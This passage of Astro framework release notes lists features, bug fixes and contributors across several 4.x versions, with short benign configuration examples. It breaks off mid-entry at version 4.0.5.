[#&#8203;9567](https://github.com/withastro/astro/pull/9567) [`3a4d5ec8001ebf95c917fdc0d186d29650533d93`](https://github.com/withastro/astro/commit/3a4d5ec8001ebf95c917fdc0d186d29650533d93) Thanks [@&#8203;OliverSpeir](https://github.com/OliverSpeir)! - Improves the a11y-missing-content rule and error message for audit feature of dev-overlay. This also fixes an error where this check was falsely reporting accessibility errors. - [#&#8203;9643](https://github.com/withastro/astro/pull/9643) [`e9a72d9a91a3741566866bcaab11172cb0dc7d31`](https://github.com/withastro/astro/commit/e9a72d9a91a3741566866bcaab11172cb0dc7d31) Thanks [@&#8203;blackmann](https://github.com/blackmann)! - Adds a new `markdown.shikiConfig.transformers` config option. You can use this option to transform the Shikiji hast (AST format of the generated HTML) to customize the final HTML. Also updates Shikiji to the latest stable version. See [Shikiji's documentation](https://shikiji.netlify.app/guide/transformers) for more details about creating your own custom transformers, and [a list of common transformers](https://shikiji.netlify.app/packages/transformers) you can add directly to your project. - [#&#8203;9644](https://github.com/withastro/astro/pull/9644) [`a5f1682347e602330246129d4666a9227374c832`](https://github.com/withastro/astro/commit/a5f1682347e602330246129d4666a9227374c832) Thanks [@&#8203;rossrobino](https://github.com/rossrobino)! - Adds an experimental flag `clientPrerender` to prerender your prefetched pages on the client with the [Speculation Rules API](https://developer.mozilla.org/en-US/docs/Web/API/Speculation_Rules_API). ```js // astro.config.mjs { prefetch: { prefetchAll: true, defaultStrategy: 'viewport', }, experimental: { clientPrerender: true, }, } ``` Enabling this feature overrides the default `prefetch` behavior globally to prerender links on the client according to your `prefetch` configuration. Instead of appending a `<link>` tag to the head of the document or fetching the page with JavaScript, a `<script>` tag will be appended with the corresponding speculation rules. Client side prerendering requires browser support. If the Speculation Rules API is not supported, `prefetch` will fallback to the supported strategy. See the [Prefetch Guide](https://docs.astro.build/en/guides/prefetch/) for more `prefetch` options and usage. - [#&#8203;9439](https://github.com/withastro/astro/pull/9439) [`fd17f4a40b83d14350dce691aeb79d87e8fcaf40`](https://github.com/withastro/astro/commit/fd17f4a40b83d14350dce691aeb79d87e8fcaf40) Thanks [@&#8203;Fryuni](https://github.com/Fryuni)! - Adds an experimental flag `globalRoutePriority` to prioritize redirects and injected routes equally alongside file-based project routes, following the same [route priority order rules](https://docs.astro.build/en/core-concepts/routing/#route-priority-order) for all routes. ```js // astro.config.mjs export default defineConfig({ experimental: { globalRoutePriority: true, }, }); ``` Enabling this feature ensures that all routes in your project follow the same, predictable route priority order rules. In particular, this avoids an issue where redirects or injected routes (e.g. from an integration) would always take precedence over local route definitions, making it impossible to override some routes locally. The following table shows which route builds certain page URLs when file-based routes, injected routes, and redirects are combined as shown below: - File-based route: `/blog/post/[pid]` - File-based route: `/[page]` - Injected route: `/blog/[...slug]` - Redirect: `/blog/tags/[tag]` -> `/[tag]` - Redirect: `/posts` -> `/blog` URLs are handled by the following routes: | Page | Current Behavior | Global Routing Priority Behavior | | ------------------ | -------------------------------- | ----------------------------------- | | `/blog/tags/astro` | Injected route `/blog/[...slug]` | Redirect to `/tags/[tag]` | | `/blog/post/0` | Injected route `/blog/[...slug]` | File-based route `/blog/post/[pid]` | | `/posts` | File-based route `/[page]` | Redirect to `/blog` | In the event of route collisions, where two routes of equal route priority attempt to build the same URL, Astro will log a warning identifying the conflicting routes. ##### Patch Changes - [#&#8203;9719](https://github.com/withastro/astro/pull/9719) [`7e1db8b4ce2da9e044ea0393e533c6db2561ac90`](https://github.com/withastro/astro/commit/7e1db8b4ce2da9e044ea0393e533c6db2561ac90) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Refactors Vite config to avoid Vite 5.1 warnings - [#&#8203;9439](https://github.com/withastro/astro/pull/9439) [`fd17f4a40b83d14350dce691aeb79d87e8fcaf40`](https://github.com/withastro/astro/commit/fd17f4a40b83d14350dce691aeb79d87e8fcaf40) Thanks [@&#8203;Fryuni](https://github.com/Fryuni)! - Updates [Astro's routing priority rules](https://docs.astro.build/en/core-concepts/routing/#route-priority-order) to prioritize the most specifically-defined routes. Now, routes with **more defined path segments** will take precedence over less specific routes. For example, `/blog/posts/[pid].astro` (3 path segments) takes precedence over `/blog/[...slug].astro` (2 path segments). This means that: - `/pages/blog/posts/[id].astro` will build routes of the form `/blog/posts/1` and `/blog/posts/a` - `/pages/blog/[...slug].astro` will build routes of a variety of forms, including `blog/1` and `/blog/posts/1/a`, but will not build either of the previous routes. For a complete list of Astro's routing priority rules, please see the [routing guide](https://docs.astro.build/en/core-concepts/routing/#route-priority-order). This should not be a breaking change, but you may wish to inspect your built routes to ensure that your project is unaffected. - [#&#8203;9706](https://github.com/withastro/astro/pull/9706) [`1539e04a8e5865027b3a8718c6f142885e7c8d88`](https://github.com/withastro/astro/commit/1539e04a8e5865027b3a8718c6f142885e7c8d88) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Simplifies HMR handling, improves circular dependency invalidation, and fixes Astro styles invalidation - Updated dependencies \[[`165cfc154be477337037185c32b308616d1ed6fa`](https://github.com/withastro/astro/commit/165cfc154be477337037185c32b308616d1ed6fa), [`e9a72d9a91a3741566866bcaab11172cb0dc7d31`](https://github.com/withastro/astro/commit/e9a72d9a91a3741566866bcaab11172cb0dc7d31)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;4.1.0 ### [`v4.1.3`](https://github.com/withastro/astro/releases/tag/astro%404.1.3) [Compare Source](https://github.com/withastro/astro/compare/astro@4.1.2...astro@4.1.3) ##### Patch Changes - [#&#8203;9665](https://github.com/withastro/astro/pull/9665) [`d02a3c48a3ce204649d22e17b1e26fb5a6a60bcf`](https://github.com/withastro/astro/commit/d02a3c48a3ce204649d22e17b1e26fb5a6a60bcf) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Disables internal file watcher for one-off Vite servers to improve start-up performance - [#&#8203;9664](https://github.com/withastro/astro/pull/9664) [`1bf0ddd2777ae5f9fde3fd854a9e75aa56c080f2`](https://github.com/withastro/astro/commit/1bf0ddd2777ae5f9fde3fd854a9e75aa56c080f2) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Improves HMR for Astro style and script modules - [#&#8203;9668](https://github.com/withastro/astro/pull/9668) [`74008cc23853ed507b144efab02300202c5386ed`](https://github.com/withastro/astro/commit/74008cc23853ed507b144efab02300202c5386ed) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fix the passthrough image service not generating `srcset` values properly - [#&#8203;9693](https://github.com/withastro/astro/pull/9693) [`d38b2a4fe827e956662fcf457d1f1f84832c2f15`](https://github.com/withastro/astro/commit/d38b2a4fe827e956662fcf457d1f1f84832c2f15) Thanks [@&#8203;kidylee](https://github.com/kidylee)! - Disables View Transition form handling when the `action` property points to an external URL - [#&#8203;9678](https://github.com/withastro/astro/pull/9678) [`091097e60ef38dadb87d7c8c1fc9cb939a248921`](https://github.com/withastro/astro/commit/091097e60ef38dadb87d7c8c1fc9cb939a248921) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds an error during the build phase in case `i18n.routing.prefixDefaultLocale` is set to `true` and the index page is missing. - [#&#8203;9659](https://github.com/withastro/astro/pull/9659) [`39050c6e1f77dc21e87716d95e627a654828ee74`](https://github.com/withastro/astro/commit/39050c6e1f77dc21e87716d95e627a654828ee74) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fix Astro wrongfully deleting certain images imported with `?url` when used in tandem with `astro:assets` - [#&#8203;9685](https://github.com/withastro/astro/pull/9685) [`35d54b3ddb3310ab4c505d49bd4937b2d25e4078`](https://github.com/withastro/astro/commit/35d54b3ddb3310ab4c505d49bd4937b2d25e4078) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where anchor elements within a custom component could not trigger a view transition. ### [`v4.1.2`](https://github.com/withastro/astro/releases/tag/astro%404.1.2) [Compare Source](https://github.com/withastro/astro/compare/astro@4.1.1...astro@4.1.2) ##### Patch Changes - [#&#8203;9642](https://github.com/withastro/astro/pull/9642) [`cdb7bfa66260afc79b829b617492a01a709a86ef`](https://github.com/withastro/astro/commit/cdb7bfa66260afc79b829b617492a01a709a86ef) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes an issue where View Transitions did not work when navigating to the 404 page - [#&#8203;9637](https://github.com/withastro/astro/pull/9637) [`5cba637c4ec39c06794146b0c7fd3225d26dcabb`](https://github.com/withastro/astro/commit/5cba637c4ec39c06794146b0c7fd3225d26dcabb) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Improves environment variables replacement in SSR - [#&#8203;9658](https://github.com/withastro/astro/pull/9658) [`a3b5695176cd0280438938c1d6caef478a571415`](https://github.com/withastro/astro/commit/a3b5695176cd0280438938c1d6caef478a571415) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes an issue caused by trying to load text/partytown scripts during view transitions - [#&#8203;9657](https://github.com/withastro/astro/pull/9657) [`a4f90d95ff97abe59f2a1ef0956cab257ae36838`](https://github.com/withastro/astro/commit/a4f90d95ff97abe59f2a1ef0956cab257ae36838) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where the custom status code wasn't correctly computed in the dev server - [#&#8203;9627](https://github.com/withastro/astro/pull/9627) [`a700a20291e19cde23705e8e661e833aec7d3095`](https://github.com/withastro/astro/commit/a700a20291e19cde23705e8e661e833aec7d3095) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Adds a warning when setting cookies will have no effect - [#&#8203;9652](https://github.com/withastro/astro/pull/9652) [`e72efd6a9a1e2a70488fd225529617ffd8418534`](https://github.com/withastro/astro/commit/e72efd6a9a1e2a70488fd225529617ffd8418534) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Improves environment variables handling by using esbuild to perform replacements - [#&#8203;9560](https://github.com/withastro/astro/pull/9560) [`8b9c4844f7b302380835154fab1c3489979fc07d`](https://github.com/withastro/astro/commit/8b9c4844f7b302380835154fab1c3489979fc07d) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes tsconfig alias with import.meta.glob - [#&#8203;9653](https://github.com/withastro/astro/pull/9653) [`50f39183cfec4a4522c1f935d710e5d9b724993b`](https://github.com/withastro/astro/commit/50f39183cfec4a4522c1f935d710e5d9b724993b) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Pin Sharp to 0.32.6 until we can raise our semver requirements. To use the latest version of Sharp, you can add it to your project's dependencies. ### [`v4.1.1`](https://github.com/withastro/astro/releases/tag/astro%404.1.1) [Compare Source](https://github.com/withastro/astro/compare/astro@4.1.0...astro@4.1.1) ##### Patch Changes - [#&#8203;9618](https://github.com/withastro/astro/pull/9618) [`401fd3e8c8957a3bed6469a622cd67b157ca303f`](https://github.com/withastro/astro/commit/401fd3e8c8957a3bed6469a622cd67b157ca303f) Thanks [@&#8203;ldh3907](https://github.com/ldh3907)! - Adds a second generic parameter to `APIRoute` to type the `params` - [#&#8203;9600](https://github.com/withastro/astro/pull/9600) [`47b951b3888a5a8a708d2f9b974f12fba7ec9ed3`](https://github.com/withastro/astro/commit/47b951b3888a5a8a708d2f9b974f12fba7ec9ed3) Thanks [@&#8203;jacobdalamb](https://github.com/jacobdalamb)! - Improves tailwind config file detection when adding the tailwind integration using `astro add tailwind` Tailwind config file ending in `.ts`, `.mts` or `.cts` will now be used instead of creating a new `tailwind.config.mjs` when the tailwind integration is added using `astro add tailwind`. - [#&#8203;9622](https://github.com/withastro/astro/pull/9622) [`5156c740506cbf6ec85c95e1663c14cbd438d75b`](https://github.com/withastro/astro/commit/5156c740506cbf6ec85c95e1663c14cbd438d75b) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes the Sharp image service `limitInputPixels` option type ### [`v4.1.0`](https://github.com/withastro/astro/releases/tag/astro%404.1.0) [Compare Source](https://github.com/withastro/astro/compare/astro@4.0.9...astro@4.1.0) ##### Minor Changes - [#&#8203;9513](https://github.com/withastro/astro/pull/9513) [`e44f6acf99195a3f29b8390fd9b2c06410551b74`](https://github.com/withastro/astro/commit/e44f6acf99195a3f29b8390fd9b2c06410551b74) Thanks [@&#8203;wtto00](https://github.com/wtto00)! - Adds a `'load'` prefetch strategy to prefetch links on page load - [#&#8203;9377](https://github.com/withastro/astro/pull/9377) [`fe719e27a84c09e46b515252690678c174a25759`](https://github.com/withastro/astro/commit/fe719e27a84c09e46b515252690678c174a25759) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Adds "Missing ARIA roles check" and "Unsupported ARIA roles check" audit rules for the dev toolbar - [#&#8203;9573](https://github.com/withastro/astro/pull/9573) [`2a8b9c56b9c6918531c57ec38b89474571331aee`](https://github.com/withastro/astro/commit/2a8b9c56b9c6918531c57ec38b89474571331aee) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Allows passing a string to `--open` and `server.open` to open a specific URL on startup in development - [#&#8203;9544](https://github.com/withastro/astro/pull/9544) [`b8a6fa8917ff7babd35dafb3d3dcd9a58cee836d`](https://github.com/withastro/astro/commit/b8a6fa8917ff7babd35dafb3d3dcd9a58cee836d) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Adds a helpful error for static sites when you use the `astro preview` command if you have not previously run `astro build`. - [#&#8203;9546](https://github.com/withastro/astro/pull/9546) [`08402ad5846c73b6887e74ed4575fd71a3e3c73d`](https://github.com/withastro/astro/commit/08402ad5846c73b6887e74ed4575fd71a3e3c73d) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Adds an option for the Sharp image service to allow large images to be processed. Set `limitInputPixels: false` to bypass the default image size limit: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ image: { service: { entrypoint: 'astro/assets/services/sharp', config: { limitInputPixels: false, }, }, }, }); ``` - [#&#8203;9596](https://github.com/withastro/astro/pull/9596) [`fbc26976533bbcf2de9d6dba1aa3ea3dc6ce0853`](https://github.com/withastro/astro/commit/fbc26976533bbcf2de9d6dba1aa3ea3dc6ce0853) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds the ability to set a [`rootMargin`](https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver/rootMargin) setting when using the `client:visible` directive. This allows a component to be hydrated when it is *near* the viewport, rather than hydrated when it has *entered* the viewport. ```astro <!-- Load component when it's within 200px away from entering the viewport --> <Component client:visible={{ rootMargin: '200px' }} /> ``` - [#&#8203;9063](https://github.com/withastro/astro/pull/9063) [`f33fe3190b482a42ebc68cc5275fd7f2c49102e6`](https://github.com/withastro/astro/commit/f33fe3190b482a42ebc68cc5275fd7f2c49102e6) Thanks [@&#8203;alex-sherwin](https://github.com/alex-sherwin)! - Cookie encoding / decoding can now be customized Adds new `encode` and `decode` functions to allow customizing how cookies are encoded and decoded. For example, you can bypass the default encoding via `encodeURIComponent` when adding a URL as part of a cookie: ```astro --- import { encodeCookieValue } from './cookies'; Astro.cookies.set('url', Astro.url.toString(), { // Override the default encoding so that URI components are not encoded encode: (value) => encodeCookieValue(value), }); --- ``` Later, you can decode the URL in the same way: ```astro --- import { decodeCookieValue } from './cookies'; const url = Astro.cookies.get('url', { decode: (value) => decodeCookieValue(value), }); --- ``` ##### Patch Changes - [#&#8203;9593](https://github.com/withastro/astro/pull/9593) [`3b4e629ac8c2fdb4b491bf01abc7794e2e100173`](https://github.com/withastro/astro/commit/3b4e629ac8c2fdb4b491bf01abc7794e2e100173) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Improves `astro add` error reporting when the dependencies fail to install - [#&#8203;9563](https://github.com/withastro/astro/pull/9563) [`d48ab90fb41fbc0589cd2df711682a41382c03aa`](https://github.com/withastro/astro/commit/d48ab90fb41fbc0589cd2df711682a41382c03aa) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes back navigation to fragment links (e.g. `#about`) in Firefox when using view transitions Co-authored-by: Florian Lefebvre <69633530+florian-lefebvre@users.noreply.github.com> Co-authored-by: Sarah Rainsberger <sarah@rainsberger.ca> - [#&#8203;9597](https://github.com/withastro/astro/pull/9597) [`9fd24a546c45d48451da46637c14e7ed54dac76a`](https://github.com/withastro/astro/commit/9fd24a546c45d48451da46637c14e7ed54dac76a) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where configuring trailingSlash had no effect on API routes. - [#&#8203;9586](https://github.com/withastro/astro/pull/9586) [`82bad5d6205672ed3f6a49d4de53d3a68367433e`](https://github.com/withastro/astro/commit/82bad5d6205672ed3f6a49d4de53d3a68367433e) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes page titles in the browser's drop-down for back / forward navigation when using view transitions - [#&#8203;9575](https://github.com/withastro/astro/pull/9575) [`ab6049bd58e4d02f47d500f9db08a865bc7f09b8`](https://github.com/withastro/astro/commit/ab6049bd58e4d02f47d500f9db08a865bc7f09b8) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Sets correct `process.env.NODE_ENV` default when using the JS API - [#&#8203;9587](https://github.com/withastro/astro/pull/9587) [`da307e4a080483f8763f1919a05fa2194bb14e22`](https://github.com/withastro/astro/commit/da307e4a080483f8763f1919a05fa2194bb14e22) Thanks [@&#8203;jjenzz](https://github.com/jjenzz)! - Adds a `CSSProperties` interface that allows extending the style attribute - [#&#8203;9513](https://github.com/withastro/astro/pull/9513) [`e44f6acf99195a3f29b8390fd9b2c06410551b74`](https://github.com/withastro/astro/commit/e44f6acf99195a3f29b8390fd9b2c06410551b74) Thanks [@&#8203;wtto00](https://github.com/wtto00)! - Ignores `3g` in slow connection detection. Only `2g` and `slow-2g` are considered slow connections. ### [`v4.0.9`](https://github.com/withastro/astro/releases/tag/astro%404.0.9) [Compare Source](https://github.com/withastro/astro/compare/astro@4.0.8...astro@4.0.9) ##### Patch Changes - [#&#8203;9571](https://github.com/withastro/astro/pull/9571) [`ec71f03cfd9b8195fb21c92dfda0eff63b6ebeed`](https://github.com/withastro/astro/commit/ec71f03cfd9b8195fb21c92dfda0eff63b6ebeed) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Removes telemetry for unhandled errors in the dev server - [#&#8203;9548](https://github.com/withastro/astro/pull/9548) [`8049f0cd91b239c52e37d571e3ba3e703cf0e4cf`](https://github.com/withastro/astro/commit/8049f0cd91b239c52e37d571e3ba3e703cf0e4cf) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes error overlay display on URI malformed error - [#&#8203;9504](https://github.com/withastro/astro/pull/9504) [`8cc3d6aa46f438d668516539c34b48ad748ade39`](https://github.com/withastro/astro/commit/8cc3d6aa46f438d668516539c34b48ad748ade39) Thanks [@&#8203;matiboux](https://github.com/matiboux)! - Implement i18n's `getLocaleByPath` function - [#&#8203;9547](https://github.com/withastro/astro/pull/9547) [`22f42d11a4fd2e154a0c5873c4f516584e383b70`](https://github.com/withastro/astro/commit/22f42d11a4fd2e154a0c5873c4f516584e383b70) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Prevents ANSI codes from rendering in the error overlay - [#&#8203;9446](https://github.com/withastro/astro/pull/9446) [`ede3f7fef6b43a08c9371f7a2531e2eef858b94d`](https://github.com/withastro/astro/commit/ede3f7fef6b43a08c9371f7a2531e2eef858b94d) Thanks [@&#8203;alexnguyennz](https://github.com/alexnguyennz)! - Toggle dev toolbar hitbox height when toolbar is visible - [#&#8203;9572](https://github.com/withastro/astro/pull/9572) [`9f6453cf4972ac28eec4f07a1373feaa295c8864`](https://github.com/withastro/astro/commit/9f6453cf4972ac28eec4f07a1373feaa295c8864) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Documents supported `--host` and `--port` flags in `astro preview --help` - [#&#8203;9540](https://github.com/withastro/astro/pull/9540) [`7f212f0831d8cd899a86fb94899a7cad8ec280db`](https://github.com/withastro/astro/commit/7f212f0831d8cd899a86fb94899a7cad8ec280db) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes remote images with encoded characters - [#&#8203;9559](https://github.com/withastro/astro/pull/9559) [`8b873bf1f343efc1f486d8ef53c38380e2373c08`](https://github.com/withastro/astro/commit/8b873bf1f343efc1f486d8ef53c38380e2373c08) Thanks [@&#8203;sygint](https://github.com/sygint)! - Adds 'starlight' to the displayed options for `astro add` - [#&#8203;9537](https://github.com/withastro/astro/pull/9537) [`16e61fcacb98e6bd948ac240bc082659d70193a4`](https://github.com/withastro/astro/commit/16e61fcacb98e6bd948ac240bc082659d70193a4) Thanks [@&#8203;walter9388](https://github.com/walter9388)! - `<Image />` srcset now parses encoded paths correctly ### [`v4.0.8`](https://github.com/withastro/astro/releases/tag/astro%404.0.8) [Compare Source](https://github.com/withastro/astro/compare/astro@4.0.7...astro@4.0.8) ##### Patch Changes - [#&#8203;9522](https://github.com/withastro/astro/pull/9522) [`bb1438d20d325acd15f3755c6e306e45a7c64bcd`](https://github.com/withastro/astro/commit/bb1438d20d325acd15f3755c6e306e45a7c64bcd) Thanks [@&#8203;Zegnat](https://github.com/Zegnat)! - Add support for autocomplete attribute to the HTML button type. - [#&#8203;9531](https://github.com/withastro/astro/pull/9531) [`662f06fd9fae377bed1aaa49adbba3542cced087`](https://github.com/withastro/astro/commit/662f06fd9fae377bed1aaa49adbba3542cced087) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes duplicated CSS modules content when it's imported by both Astro files and framework components - [#&#8203;9501](https://github.com/withastro/astro/pull/9501) [`eb36e95596fcdb3db4a31744e910495e22e3af84`](https://github.com/withastro/astro/commit/eb36e95596fcdb3db4a31744e910495e22e3af84) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Export JSX namespace from `astro/jsx-runtime` for language tooling to consume - [#&#8203;9492](https://github.com/withastro/astro/pull/9492) [`89a2a07c2e411cda32244b7b05d3c79e93f7dd84`](https://github.com/withastro/astro/commit/89a2a07c2e411cda32244b7b05d3c79e93f7dd84) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Improves error message for the case where two similarly named files result in the same content entry. - [#&#8203;9532](https://github.com/withastro/astro/pull/9532) [`7224809b73d2c3ec8e8aee2fa07463dc3b57a7a2`](https://github.com/withastro/astro/commit/7224809b73d2c3ec8e8aee2fa07463dc3b57a7a2) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Prevents unnecessary URI decoding when rendering a route - [#&#8203;9478](https://github.com/withastro/astro/pull/9478) [`dfef925e1fd07f3efb9fde6f4f23548f2af7dc75`](https://github.com/withastro/astro/commit/dfef925e1fd07f3efb9fde6f4f23548f2af7dc75) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Improves errors in certain places to also report their causes. - [#&#8203;9463](https://github.com/withastro/astro/pull/9463) [`3b0eaed3b544ef8c4ec1f7b0d5a8f475bcfeb25e`](https://github.com/withastro/astro/commit/3b0eaed3b544ef8c4ec1f7b0d5a8f475bcfeb25e) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Update Sharp version to ^0.33.1 - [#&#8203;9512](https://github.com/withastro/astro/pull/9512) [`1469e0e5a915e6b42b9953dbb48fe57a74518056`](https://github.com/withastro/astro/commit/1469e0e5a915e6b42b9953dbb48fe57a74518056) Thanks [@&#8203;mingjunlu](https://github.com/mingjunlu)! - Prevents dev toolbar tooltip from overflowing outside of the screen - [#&#8203;9497](https://github.com/withastro/astro/pull/9497) [`7f7a7f1aeaec6b327ae0e5e7470a4f46174bf8ae`](https://github.com/withastro/astro/commit/7f7a7f1aeaec6b327ae0e5e7470a4f46174bf8ae) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Adds a helpful warning message for when an exported API Route is not uppercase. ### [`v4.0.7`](https://github.com/withastro/astro/releases/tag/astro%404.0.7) [Compare Source](https://github.com/withastro/astro/compare/astro@4.0.6...astro@4.0.7) ##### Patch Changes - [#&#8203;9452](https://github.com/withastro/astro/pull/9452) [`e83b5095f`](https://github.com/withastro/astro/commit/e83b5095f164f48ba40fc715a805fc66a3e39dcf) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Upgrades vite to latest - [#&#8203;9352](https://github.com/withastro/astro/pull/9352) [`f515b1421`](https://github.com/withastro/astro/commit/f515b1421afa335b8d6e4491fbe24419df53bfeb) Thanks [@&#8203;tmcw](https://github.com/tmcw)! - Add a more descriptive error message when image conversion fails - [#&#8203;9486](https://github.com/withastro/astro/pull/9486) [`f6714f677`](https://github.com/withastro/astro/commit/f6714f677cffa2484565f51d5eb55bd34309653b) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes View Transition's form submission prevention, allowing `preventDefault` to be used. - [#&#8203;9461](https://github.com/withastro/astro/pull/9461) [`429be8cc3`](https://github.com/withastro/astro/commit/429be8cc3ed0623df4fdca76f1531265f5ba5dfc) Thanks [@&#8203;Skn0tt](https://github.com/Skn0tt)! - update import created for `astro create netlify` - [#&#8203;9464](https://github.com/withastro/astro/pull/9464) [`faf6c7e11`](https://github.com/withastro/astro/commit/faf6c7e1104ee247e847836020a3ce07a2053705) Thanks [@&#8203;Fryuni](https://github.com/Fryuni)! - Fixes an edge case with view transitions where some spec-compliant `Content-Type` headers would cause a valid HTML response to be ignored. - [#&#8203;9400](https://github.com/withastro/astro/pull/9400) [`1e984389b`](https://github.com/withastro/astro/commit/1e984389bafd87b0a631ed4aba930447669234f8) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes importing dev toolbar apps from integrations on Windows - [#&#8203;9487](https://github.com/withastro/astro/pull/9487) [`19169db1f`](https://github.com/withastro/astro/commit/19169db1f1574d36cc284fd9a0319d9b1e92b49a) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Improves logging of the generated pages during the build - [#&#8203;9460](https://github.com/withastro/astro/pull/9460) [`047d285be`](https://github.com/withastro/astro/commit/047d285be1ab764bc82f88b8553b46429c37efca) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fix Astro failing to build on certain exotic platform that reports their CPU count incorrectly - [#&#8203;9466](https://github.com/withastro/astro/pull/9466) [`5062d27a1`](https://github.com/withastro/astro/commit/5062d27a186c5020522614b9d6f3da218f7afd96) Thanks [@&#8203;knpwrs](https://github.com/knpwrs)! - Updates view transitions `form` handling with logic for the [`enctype`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement/enctype) attribute - [#&#8203;9458](https://github.com/withastro/astro/pull/9458) [`fa3078ce9`](https://github.com/withastro/astro/commit/fa3078ce9f5eda408340a78c6d275f3e0b2437dc) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Correctly handle the error in case the middleware throws a runtime error - [#&#8203;9089](https://github.com/withastro/astro/pull/9089) [`5ae657882`](https://github.com/withastro/astro/commit/5ae657882287645c967249aee91bd06497f6624d) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where redirects did not replace slugs when the target of the redirect rule was not a verbatim route in the project. - [#&#8203;9483](https://github.com/withastro/astro/pull/9483) [`c384f6924`](https://github.com/withastro/astro/commit/c384f6924edc161d3ff631e658f017a37e4207e3) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fix some false positive in the audit logic of the dev toolbar - [#&#8203;9437](https://github.com/withastro/astro/pull/9437) [`354a62c86`](https://github.com/withastro/astro/commit/354a62c86e9187af5d05540ed321bdc889384d97) Thanks [@&#8203;dkobierski](https://github.com/dkobierski)! - Fixes incorrect hoisted script paths when custom rollup output file names are configured - [#&#8203;9475](https://github.com/withastro/astro/pull/9475) [`7ae4928f3`](https://github.com/withastro/astro/commit/7ae4928f303720d3b2f611474fc08d3b96c2e4af) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Remove the manifest from the generated files in the `dist/` folder. ### [`v4.0.6`](https://github.com/withastro/astro/releases/tag/astro%404.0.6) [Compare Source](https://github.com/withastro/astro/compare/astro@4.0.5...astro@4.0.6) ##### Patch Changes - [#&#8203;9419](https://github.com/withastro/astro/pull/9419) [`151bd429b`](https://github.com/withastro/astro/commit/151bd429b11a73d236ca8f43e8f5072e7c29641e) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Prevent Partytown from hijacking history APIs - [#&#8203;9426](https://github.com/withastro/astro/pull/9426) [`c01cc4e34`](https://github.com/withastro/astro/commit/c01cc4e3409ae3cf81db7384bf8e53424f21bb5c) Thanks [@&#8203;alexnguyennz](https://github.com/alexnguyennz)! - Fixes warning for external URL redirects - [#&#8203;9445](https://github.com/withastro/astro/pull/9445) [`f963d07f2`](https://github.com/withastro/astro/commit/f963d07f22f972938e1c9e8c95f9278efdff586b) Thanks [@&#8203;natemoo-re](https://github.com/natemoo-re)! - Upgrades Astro's compiler to a crash when sourcemaps try to map multibyte characters - [#&#8203;9126](https://github.com/withastro/astro/pull/9126) [`6d2d0e279`](https://github.com/withastro/astro/commit/6d2d0e279dd51e04099c86c4d900e2dd1d5fa837) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where error pages were not shown when trailingSlash was set to "always". - [#&#8203;9434](https://github.com/withastro/astro/pull/9434) [`c01580a2c`](https://github.com/withastro/astro/commit/c01580a2cd847ac82192d6717e9e823fba6ecb49) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Improves the error message when a middleware doesn't return a `Response` - [#&#8203;9433](https://github.com/withastro/astro/pull/9433) [`fcc2fd5b0`](https://github.com/withastro/astro/commit/fcc2fd5b0f218ecfc7bbe3f48063221e5dd62757) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Correctly merge headers from the original response when an error page is rendered ### [`v4.0.5`](https://github.com/withastro/astro/releases/tag/astro%404.0.5) [Compare Source](https://github.com/withastro/astro/compare/astro@4.0.4...astro@4.0.5) ##### Patch Changes - [#&#8203;9423](https://github.com/withastro/astro/pull/9423) [`bda1d294f`](https://github.com/withastro/astro/commit/bda1d294f2d50f31abfc9a32b5272fc9ac080e83) Thanks 